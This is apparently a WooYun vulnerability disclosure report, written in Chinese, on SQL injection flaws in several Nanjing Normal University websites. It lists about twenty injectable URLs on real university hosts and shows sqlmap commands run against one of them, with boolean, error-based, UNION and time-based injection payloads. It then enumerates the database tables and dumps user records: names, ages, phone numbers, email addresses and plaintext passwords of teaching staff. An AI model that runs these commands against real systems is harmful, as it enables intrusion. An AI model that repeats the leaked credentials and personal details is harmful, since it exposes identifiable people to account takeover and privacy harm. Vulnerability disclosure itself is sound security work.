漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0116418
漏洞标题:南京师范大学多个分站存在sql注入漏洞
相关厂商:南京师范大学
漏洞作者: sirius-k
提交时间:2015-05-27 14:32
修复时间:2015-06-01 14:34
公开时间:2015-06-01 14:34
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:5
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
南京师范大学多个分站存在sql注入漏洞。
详细说明:
经过验证以下URL均存在注入点:
http://cx.njnu.edu.cn/sjjx/shownews.aspx?newsno=210
http://cx.njnu.edu.cn/sjjx/MoreNews.aspx?NewsType=FB0FDFF07B50C0AB
http://rsc.njnu.edu.cn/XmlService/search.aspx?gntype=120&parvalue=LeafType=0&pagesize=10000&page=-1
http://jcfw.njnu.edu.cn/links.asp?typeID=26
http://jcfw.njnu.edu.cn/sources_list_1.asp?kcmc=
http://jcfw.njnu.edu.cn/news_view.asp?newsID=1211
http://jcfw.njnu.edu.cn/books_list_1.asp?smmc=
http://jcfw.njnu.edu.cn/sources_list_2.asp?dwmc=
http://jcfw.njnu.edu.cn/teachers_list_1.asp?jsmc=
http://jcfw.njnu.edu.cn/aspects_list_1.asp?zymc=
http://gfs.njnu.edu.cn/default.php?mod=article&fid=4
http://gfs.njnu.edu.cn/default.php?mod=article&settype=0&fid=1
http://rsc.njnu.edu.cn/xmlService/search.aspx?page=&pagesize=&gntype=205&parvalue=
http://lab.njnu.edu.cn/xinli/MoreNews.aspx?NewsType=-3
http://lab.njnu.edu.cn/xinli/ShowNews.aspx?NewsType=-1&NewsNo=885
http://lab.njnu.edu.cn/xinli/Common.aspx?TypeSuoShu=ShiYanJiaoXue&NewsType=104
http://lab.njnu.edu.cn/xinli/ShowNews.aspx?NewsNo=573&NewsType=-901
http://kc.njnu.edu.cn/xlzx/Document.aspx?CategoryID=1&id=1
http://kc.njnu.edu.cn/xlzx/Document.aspx?CategoryID=5&DocumentID=172&ID=172
漏洞证明:
下面以http://cx.njnu.edu.cn/sjjx/shownews.aspx?newsno=210为例说明漏洞的情况:
取库ChuangXin中的table列表:
root@kirby:~# sqlmap -u 'http://cx.njnu.edu.cn/sjjx/shownews.aspx?newsno=210' -D ChuangXin --tables;
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:24:51
[01:24:51] [INFO] resuming back-end DBMS 'microsoft sql server'
[01:24:52] [INFO] testing connection to the target URL
[01:24:52] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: newsno
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newsno=210' AND 6354=6354 AND 'wWjX'='wWjX
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: newsno=210' AND 6022=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(107)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (6022=6022) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(108)+CHAR(98)+CHAR(113))) AND 'oguE'='oguE
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: newsno=210' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(107)+CHAR(97)+CHAR(113)+CHAR(70)+CHAR(77)+CHAR(72)+CHAR(118)+CHAR(71)+CHAR(84)+CHAR(75)+CHAR(67)+CHAR(85)+CHAR(89)+CHAR(113)+CHAR(110)+CHAR(108)+CHAR(98)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: newsno=210'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: newsno=210' WAITFOR DELAY '0:0:5'--
---
[01:24:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:24:52] [INFO] fetching tables for database: ChuangXin
[01:24:52] [INFO] the SQL query used returns 71 entries
[01:24:53] [INFO] retrieved: "dbo.dtproperties"
[01:24:53] [INFO] retrieved: "dbo.T_Answer"
[01:24:53] [INFO] retrieved: "dbo.t_back"
[01:24:53] [INFO] retrieved: "dbo.T_BaiFen"
[01:24:53] [INFO] retrieved: "dbo.T_BanKuai"
[01:24:54] [INFO] retrieved: "dbo.T_BaoGao"
[01:24:54] [INFO] retrieved: "dbo.t_canshu"
[01:24:54] [INFO] retrieved: "dbo.T_ChaoChu"
[01:24:54] [INFO] retrieved: "dbo.t_cs"
[01:24:54] [INFO] retrieved: "dbo.T_DaBian"
[01:24:55] [INFO] retrieved: "dbo.T_Date"
[01:24:55] [INFO] retrieved: "dbo.t_enddate"
[01:24:55] [INFO] retrieved: "dbo.T_ErDu"
[01:24:55] [INFO] retrieved: "dbo.T_Expert_g"
[01:24:56] [INFO] retrieved: "dbo.T_Expert_g"
[01:24:56] [INFO] retrieved: "dbo.T_ExpertGroup"
[01:24:56] [INFO] retrieved: "dbo.T_ExpertItem_g"
[01:24:56] [INFO] retrieved: "dbo.T_ExpertItem_g"
[01:24:57] [INFO] retrieved: "dbo.T_ExpertTime"
[01:24:57] [INFO] retrieved: "dbo.T_ExpertXSubJect"
[01:24:57] [INFO] retrieved: "dbo.T_FMessage"
[01:24:57] [INFO] retrieved: "dbo.T_Grade"
[01:24:58] [INFO] retrieved: "dbo.T_HeTong_g"
[01:24:58] [INFO] retrieved: "dbo.T_HeTong_g"
[01:24:58] [INFO] retrieved: "dbo.T_HeTongLinShi_g"
[01:24:58] [INFO] retrieved: "dbo.T_HeTongLinShi_g"
[01:24:58] [INFO] retrieved: "dbo.T_Item_g"
[01:24:59] [INFO] retrieved: "dbo.T_Item_g"
[01:24:59] [INFO] retrieved: "dbo.T_ItemHisStory"
[01:24:59] [INFO] retrieved: "dbo.T_ItemJinSai"
[01:24:59] [INFO] retrieved: "dbo.T_ItemStudent_g"
[01:25:00] [INFO] retrieved: "dbo.T_ItemStudent_g"
[01:25:00] [INFO] retrieved: "dbo.T_ItemTeacher_g"
[01:25:00] [INFO] retrieved: "dbo.T_ItemTeacher_g"
[01:25:00] [INFO] retrieved: "dbo.T_JieTi_g"
[01:25:00] [INFO] retrieved: "dbo.T_JieTi_g"
[01:25:01] [INFO] retrieved: "dbo.T_JieTiExpert_g"
[01:25:01] [INFO] retrieved: "dbo.T_JieTiExpert_g"
[01:25:01] [INFO] retrieved: "dbo.T_JieTiLinShi_g"
[01:25:01] [INFO] retrieved: "dbo.T_JieTiLinShi_g"
[01:25:01] [INFO] retrieved: "dbo.T_JieTiYanQi"
[01:25:02] [INFO] retrieved: "dbo.T_JinSai"
[01:25:02] [INFO] retrieved: "dbo.T_LieZhi_g"
[01:25:02] [INFO] retrieved: "dbo.T_LieZhi_g"
[01:25:02] [INFO] retrieved: "dbo.T_News"
[01:25:02] [INFO] retrieved: "dbo.T_Outlay"
[01:25:03] [INFO] retrieved: "dbo.T_Question"
[01:25:03] [INFO] retrieved: "dbo.T_SMessage"
[01:25:03] [INFO] retrieved: "dbo.T_StudentJinSai"
[01:25:03] [INFO] retrieved: "dbo.T_SubJect"
[01:25:04] [INFO] retrieved: "dbo.T_TeShuStudent"
[01:25:04] [INFO] retrieved: "dbo.T_TuiJian"
[01:25:04] [INFO] retrieved: "dbo.T_User"
[01:25:04] [INFO] retrieved: "dbo.T_WeiHu"
[01:25:04] [INFO] retrieved: "dbo.t_xskccj_g"
[01:25:05] [INFO] retrieved: "dbo.t_xskccj_g"
[01:25:05] [INFO] retrieved: "dbo.T_XSubJect"
[01:25:05] [INFO] retrieved: "dbo.T_XueYuan"
[01:25:05] [INFO] retrieved: "dbo.T_ZhiDaoCount"
[01:25:05] [INFO] retrieved: "dbo.T_ZhongQi_g"
[01:25:06] [INFO] retrieved: "dbo.T_ZhongQi_g"
[01:25:06] [INFO] retrieved: "dbo.T_ZhongQiLinShi_g"
[01:25:06] [INFO] retrieved: "dbo.T_ZhongQiLinShi_g"
[01:25:06] [INFO] retrieved: "dbo.T_ZhuanYe"
[01:25:07] [INFO] retrieved: "dbo.T_ZJYears"
[01:25:07] [INFO] retrieved: "dbo.V_Answer"
[01:25:07] [INFO] retrieved: "dbo.V_ExpertUser"
[01:25:07] [INFO] retrieved: "dbo.V_ItemHis"
[01:25:07] [INFO] retrieved: "dbo.V_ItemHis"
[01:25:08] [INFO] retrieved: "dbo.V_ItemUser"
[01:25:08] [INFO] retrieved: "dbo.V_Question"
Database: ChuangXin
[71 tables]
+-------------------+
| T_Answer |
| T_BaiFen |
| T_BanKuai |
| T_BaoGao |
| T_ChaoChu |
| T_DaBian |
| T_Date |
| T_ErDu |
| T_ExpertGroup |
| T_ExpertItem_g |
| T_ExpertItem_g |
| T_ExpertTime |
| T_ExpertXSubJect |
| T_Expert_g |
| T_Expert_g |
| T_FMessage |
| T_Grade |
| T_HeTongLinShi_g |
| T_HeTongLinShi_g |
| T_HeTong_g |
| T_HeTong_g |
| T_ItemHisStory |
| T_ItemJinSai |
| T_ItemStudent_g |
| T_ItemStudent_g |
| T_ItemTeacher_g |
| T_ItemTeacher_g |
| T_Item_g |
| T_Item_g |
| T_JieTiExpert_g |
| T_JieTiExpert_g |
| T_JieTiLinShi_g |
| T_JieTiLinShi_g |
| T_JieTiYanQi |
| T_JieTi_g |
| T_JieTi_g |
| T_JinSai |
| T_LieZhi_g |
| T_LieZhi_g |
| T_News |
| T_Outlay |
| T_Question |
| T_SMessage |
| T_StudentJinSai |
| T_SubJect |
| T_TeShuStudent |
| T_TuiJian |
| T_User |
| T_WeiHu |
| T_XSubJect |
| T_XueYuan |
| T_ZJYears |
| T_ZhiDaoCount |
| T_ZhongQiLinShi_g |
| T_ZhongQiLinShi_g |
| T_ZhongQi_g |
| T_ZhongQi_g |
| T_ZhuanYe |
| V_Answer |
| V_ExpertUser |
| V_ItemHis |
| V_ItemHis |
| V_ItemUser |
| V_Question |
| dtproperties |
| t_back |
| t_canshu |
| t_cs |
| t_enddate |
| t_xskccj_g |
| t_xskccj_g |
+-------------------+
T_user表中存在用户信息:
root@kirby:~# sqlmap -u 'http://cx.njnu.edu.cn/sjjx/shownews.aspx?newsno=210' -D ChuangXin -T T_user -C Age,Email,Phone,Pwd,UserName,Role --dump;
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:34:27
[01:34:27] [INFO] resuming back-end DBMS 'microsoft sql server'
[01:34:27] [INFO] testing connection to the target URL
[01:34:27] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: newsno
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newsno=210' AND 6354=6354 AND 'wWjX'='wWjX
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: newsno=210' AND 6022=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(107)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (6022=6022) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(108)+CHAR(98)+CHAR(113))) AND 'oguE'='oguE
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: newsno=210' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(107)+CHAR(97)+CHAR(113)+CHAR(70)+CHAR(77)+CHAR(72)+CHAR(118)+CHAR(71)+CHAR(84)+CHAR(75)+CHAR(67)+CHAR(85)+CHAR(89)+CHAR(113)+CHAR(110)+CHAR(108)+CHAR(98)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: newsno=210'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: newsno=210' WAITFOR DELAY '0:0:5'--
---
[01:34:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:34:27] [INFO] fetching columns 'Age, Email, Phone, Pwd, Role, UserName' for table 'T_user' in database 'ChuangXin'
[01:34:27] [INFO] the SQL query used returns 6 entries
[01:34:27] [INFO] resumed: "Age","varchar","Age","varchar","Age","varchar","Age","varchar","Age","varchar"
[01:34:27] [INFO] resumed: "Email","varchar","Email","varchar","Email","varchar","Email","varchar","Email","varchar"
[01:34:27] [INFO] resumed: "Phone","varchar","Phone","varchar","Phone","varchar","Phone","varchar","Phone","varchar"
[01:34:27] [INFO] resumed: "Pwd","varchar","Pwd","varchar","Pwd","varchar","Pwd","varchar","Pwd","varchar"
[01:34:27] [INFO] resumed: "Role","varchar","Role","varchar","Role","varchar","Role","varchar","Role","varchar"
[01:34:27] [INFO] resumed: "UserName","varchar","UserName","varchar","UserName","varchar","UserName","varchar","UserName","varchar"
[01:34:27] [INFO] fetching entries of column(s) 'Age, Email, Phone, Pwd, Role, UserName' for table 'T_user' in database 'ChuangXin'
[01:34:28] [INFO] fetching number of distinct values for column 'Age'
[01:34:28] [INFO] fetching number of distinct values for column 'Pwd'
[01:34:28] [INFO] fetching number of distinct values for column 'Role'
[01:34:28] [INFO] fetching number of distinct values for column 'Email'
[01:34:28] [INFO] fetching number of distinct values for column 'Phone'
[01:34:28] [INFO] fetching number of distinct values for column 'UserName'
[01:34:28] [WARNING] no proper pivot column provided (with unique values). It won't be possible to retrieve all rows
[01:34:38] [INFO] heuristics detected web page charset 'utf-8'
[01:34:41] [WARNING] user aborted during enumeration. sqlmap will display partial output
[01:34:41] [INFO] analyzing table dump for possible password hashes
Database: ChuangXin
Table: T_user
[29 entries]
+--------+----------+------+-------------+-----------------------+----------+
| Age | Pwd | Role | Phone | Email | UserName |
+--------+----------+------+-------------+-----------------------+----------+
| 1963.2 | 08026 | 指导教师 | <blank> | <blank> | 陈国祥 |
| 1977 | 08256 | 指导教师 | <blank> | <blank> | 刘畅 |
| 25 | 1 | 指导教师 | 8912332312 | fd747@163.com | 张三丰 |
| 26 | 1 | 指导教师 | 13256897456 | yuan@163.com | 张一 |
| 28 | 54169 | 指导教师 | <blank> | <blank> | 张禼 |
| 29 | 54185 | 指导教师 | <blank> | <blank> | 李晋 |
| 30 | 54179 | 指导教师 | 13770928258 | 15895971632@139.com | 肖泽磊 |
| 32 | 123456 | 指导教师 | <blank> | <blank> | 吴明光 |
| 35 | 18029 | 指导教师 | <blank> | <blank> | 李前进 |
| 37 | 07145 | 指导教师 | 13813859651 | <blank> | 赵传峰 |
| 38 | td810220 | 指导教师 | 15261879325 | <blank> | 叶超 |
| 40 | njw203 | 指导教师 | 85898156 | <blank> | 朱梅 |
| 41 | 54178 | 指导教师 | 13776655128 | 无 | 许芳 |
| 42 | 23 | 指导教师 | 85898156 | <blank> | 齐春风 |
| 45 | 08091 | 指导教师 | <blank> | <blank> | 常青 |
| 48 | 01025 | 指导教师 | 13951988438 | lfylfylfy707@sohu.com | 刘飞燕 |
| 51 | 62077 | 指导教师 | 13912995838 | <blank> | 宋学智 |
| 55 | 23 | 指导教师 | 85898156 | <blank> | 李学农 |
| 未知 | 08281 | 指导教师 | <blank> | <blank> | 张列峰 |
修复方案:
对get参数进行过滤
版权声明:转载请注明来源 sirius-k@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-06-01 14:34
厂商回复:
最新状态:
暂无